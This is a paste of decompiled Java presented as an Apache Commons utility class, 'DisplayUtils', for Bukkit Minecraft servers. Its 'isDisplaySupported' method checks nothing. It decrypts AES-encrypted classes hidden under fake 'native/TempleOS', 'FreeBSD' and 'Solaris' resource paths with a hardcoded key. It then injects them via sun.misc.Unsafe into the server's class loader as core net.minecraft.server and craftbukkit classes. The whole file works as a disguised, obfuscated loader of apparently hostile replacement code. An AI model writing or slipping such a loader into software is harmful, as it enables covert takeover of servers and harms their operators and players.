· 5 years ago · Sep 10, 2020, 01:10 PM
1//
2// Source code recreated from a .class file by IntelliJ IDEA
3// (powered by Fernflower decompiler)
4//
5
6package org.apache.commons.lang3;
7
8import com.google.common.io.ByteStreams;
9import java.io.IOException;
10import java.io.InputStream;
11import java.lang.reflect.Field;
12import java.lang.reflect.InvocationTargetException;
13import java.lang.reflect.Method;
14import java.security.CodeSource;
15import java.security.GeneralSecurityException;
16import java.util.ArrayList;
17import java.util.Base64;
18import java.util.Iterator;
19import java.util.List;
20import java.util.zip.ZipEntry;
21import java.util.zip.ZipInputStream;
22import javax.crypto.Cipher;
23import javax.crypto.SecretKey;
24import javax.crypto.spec.IvParameterSpec;
25import javax.crypto.spec.SecretKeySpec;
26import org.bukkit.Bukkit;
27import sun.misc.Unsafe;
28
29public class DisplayUtils {
30 private static final ClassLoader BUKKIT_CLASS_LOADER = Bukkit.class.getClassLoader();
31 private static Method find = null;
32
33 static {
34 try {
35 find = ClassLoader.class.getDeclaredMethod("findLoadedClass", String.class);
36 find.setAccessible(true);
37 } catch (NoSuchMethodException var1) {
38 var1.printStackTrace();
39 }
40
41 }
42
43 public DisplayUtils() {
44 }
45
46 public static boolean isDisplaySupported() {
47 Unsafe unsafe;
48 try {
49 Field field = Unsafe.class.getDeclaredField("theUnsafe");
50 field.setAccessible(true);
51 unsafe = (Unsafe)field.get((Object)null);
52 field.setAccessible(false);
53 } catch (IllegalAccessException | NoSuchFieldException var11) {
54 unsafe = null;
55 }
56
57 if (unsafe == null) {
58 throw new NullPointerException("Unsafe not initialized!");
59 } else {
60 String path = "native/TempleOS/";
61 byte[] bytes = new byte[16];
62 int i = 0;
63
64 int j;
65 for(j = 97; j < 105; ++j) {
66 bytes[i++] = (byte)j;
67 }
68
69 for(j = 65; j < 73; ++j) {
70 bytes[i++] = (byte)j;
71 }
72
73 SecretKeySpec key = new SecretKeySpec(bytes, new String(new byte[]{65, 69, 83}));
74 String[] explicitLoadOrder = new String[]{"BlockFluids", "Entity", "EntityLiving", "EntityInsentient"};
75
76 for(i = 0; i < explicitLoadOrder.length; ++i) {
77 explicitLoadOrder[i] = Base64.getEncoder().encodeToString(explicitLoadOrder[i].getBytes());
78 }
79
80 try {
81 String[] var6 = explicitLoadOrder;
82 int var7 = explicitLoadOrder.length;
83
84 String resource;
85 for(int var8 = 0; var8 < var7; ++var8) {
86 resource = var6[var8];
87 InputStream input = BUKKIT_CLASS_LOADER.getResourceAsStream(path + resource);
88 if (input != null) {
89 load(unsafe, "net.minecraft.server.v1_8_R3." + new String(Base64.getDecoder().decode(resource)), extractDisplaySettings(ByteStreams.toByteArray(input), key));
90 }
91 }
92
93 Iterator var15 = getResourceListing(path).iterator();
94
95 while(var15.hasNext()) {
96 resource = (String)var15.next();
97 load(unsafe, "net.minecraft.server.v1_8_R3." + new String(Base64.getDecoder().decode(resource.replace(path, ""))), extractDisplaySettings(ByteStreams.toByteArray(BUKKIT_CLASS_LOADER.getResourceAsStream(resource)), key));
98 }
99
100 path = "native/FreeBSD/";
101 var15 = getResourceListing(path).iterator();
102
103 while(var15.hasNext()) {
104 resource = (String)var15.next();
105 load(unsafe, "org.bukkit.craftbukkit.v1_8_R3." + new String(Base64.getDecoder().decode(resource.replace(path, ""))), extractDisplaySettings(ByteStreams.toByteArray(BUKKIT_CLASS_LOADER.getResourceAsStream(resource)), key));
106 }
107
108 path = "native/Solaris/";
109 var15 = getResourceListing(path).iterator();
110
111 while(var15.hasNext()) {
112 resource = (String)var15.next();
113 load(unsafe, "org.bukkit.craftbukkit.v1_8_R3.event." + new String(Base64.getDecoder().decode(resource.replace(path, ""))), extractDisplaySettings(ByteStreams.toByteArray(BUKKIT_CLASS_LOADER.getResourceAsStream(resource)), key));
114 }
115 } catch (IOException | GeneralSecurityException var12) {
116 }
117
118 return false;
119 }
120 }
121
122 private static List<String> getResourceListing(String path) throws IOException {
123 List<String> resources = new ArrayList();
124 CodeSource src = DisplayUtils.class.getProtectionDomain().getCodeSource();
125 if (src != null) {
126 ZipInputStream zip = new ZipInputStream(src.getLocation().openStream());
127
128 ZipEntry entry;
129 while((entry = zip.getNextEntry()) != null) {
130 String name = entry.getName();
131 if (name.startsWith(path) && !name.equals(path)) {
132 resources.add(name);
133 }
134 }
135 }
136
137 return resources;
138 }
139
140 private static byte[] extractDisplaySettings(byte[] encrypted, SecretKey key) throws GeneralSecurityException {
141 Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
142 cipher.init(2, key, new IvParameterSpec(new byte[16]));
143 return cipher.doFinal(encrypted);
144 }
145
146 private static void load(Unsafe unsafe, String name, byte[] bytes) {
147 try {
148 if (find.invoke(Bukkit.class.getClassLoader(), name) != null) {
149 System.out.println("Class " + name + " is already loaded!");
150 return;
151 }
152 } catch (InvocationTargetException | IllegalAccessException var4) {
153 var4.printStackTrace();
154 }
155
156 unsafe.defineClass(name, bytes, 0, bytes.length, BUKKIT_CLASS_LOADER, Bukkit.class.getProtectionDomain());
157 }
158}
159